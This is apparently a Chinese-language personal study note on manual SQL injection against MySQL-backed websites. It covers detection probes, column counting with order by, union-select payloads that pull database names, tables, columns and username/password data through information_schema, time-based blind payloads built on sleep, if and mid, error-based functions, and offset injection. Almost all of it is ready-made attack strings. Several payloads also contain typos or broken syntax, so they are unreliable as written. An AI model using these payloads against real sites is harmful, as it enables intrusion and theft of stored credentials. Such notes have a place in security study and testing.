ps:简单说下这里只写了我能理解的明白的,后面的二阶注入,堆叠注入没写
手工sql注入
1.存在sql注入本质上就是数据库过滤的不严格或者未进行过滤,1 and 1=1,返回正常,1 and 1=2 返回不正常,说明带到数据库里面去查询给语句了,这时候就可以判断存在sql注入了,再来判断注入类型,如果1 and 1=1 / 1 and 1=2 返回都正常说明直接给你过滤了或者说没带到数据库里面去查询,说明不存在sql注入。
当然这里说的示一阶注入,大多数网站都是来判断一阶注入,也有二阶注入。
当然现在不用老方法来判断了,现在可以用数字型(整形):id=1/1 1/0 id=2-1 id=2-2
字符型:id=1' id=1''
2.判断数据库有多少列,这里可以用order by语句 例:id=1 order by 3 (正常)
id=1 order by 4 (正常)
id=1 order by 5 (报错)
说明他的数据库就4列,5就报错了,4就是他的临界值也就是最大值
3.知道了他的数据库有多少列之后现在来判断注入点 可以用 union select语句 例:id=-1 union select 1,2,3,4 --+ (这里简单说下1前面的符号是为了直接执行union select 后面的语句 ,--+是为了过滤也就是注释掉 limit 0,1这个语句,可以用#也是注释的意思)。
4.知道了那一列有注入点之后来爆数据库的相关信息,比如数据库名啊,数据库版本号啊,数据库用户啊,表名,列明,字段名字,以及操作系统。
例:id=-1 union select 1,version(),database(),4这就能够知道他的数据库版本信息,以及数据库名,在用注入点来爆数据库的表名,列名,字段名,操作系统版本等。
5.当然这里注意一下如果是mysql5.0以上版本的加了一个information_schema这是高版本自带的数据库,以及information_schema.tables自带系统表,informations_schema.columns自带系统字段,表名table_name,字段名column_name,table_name,库名table_schema
6.那么mysql高版本查询表名 例:id=-1 union select 1,2,group_concat(table_name),4 from informations_schema.tables where table_schema=database() #(database=数据库名)
7.查询列名:id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name='123'
8.查询列名中的数据 例:id=-1 union select group_concat(username),group_concat('~'password) from 123
9.那么5.0以下查询数据 例:id=-1 union select 1,2,字段名,4 from 表名
10.延时注入例:id=1 and sleep(5) --+ #就是延迟五秒
实例:username=1 and sleep(2) --+&password=123
来爆数据库长度:username=1 and sleep(if((length(database())=10),1,2)) --+&password=123
sleep(2)延迟两秒,if(判断条件是否成立成立就返回1,不成立返回2) ,length(判断数据库长度是否为10)
11.爆表名的第一位是否是q:
username=1 and sleep (if((mid((select table_name from information_schema.tables where table_schema=database() limit 0,1)1,1)='c'),1,2)) --+&password=123(就是把爆database是什么的语句换成那个了查询表名的语句)。
12.接下来爆字段名:
username=1 and sleep(if(mid((select column_name from information_schema.columns where table_name='qwert' and table_schema=database() limit 0,1),1,1)='y',1,2)) --+&password=123
13.爆数据名第一位:
username=1 and sleep(if(mid(()select username from cab limit+0,1),1,1)='o',1,2)) --+&password=123
14.报错注入他的原理就是一些特殊的函数错误的使用并输出错误的结果所导致的
最常见的报错注入函数有floor etractvalue updataxml
floor报错主要是因为group by 插入数据时由于rand多次计算导致主键重复,从而报错,又因为报错前concat()中sql语句被执行导致语句报错被抛出主键是sql语句或执行后的结果。
偏移注入:两列id=1 union select 1,2,3,4,5,6,7,8,9,* from(admin as a inner join admin as b on a.id=b.id)
三列:d=1 union select 1,2,3,4,5,6,7,8,9,* from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id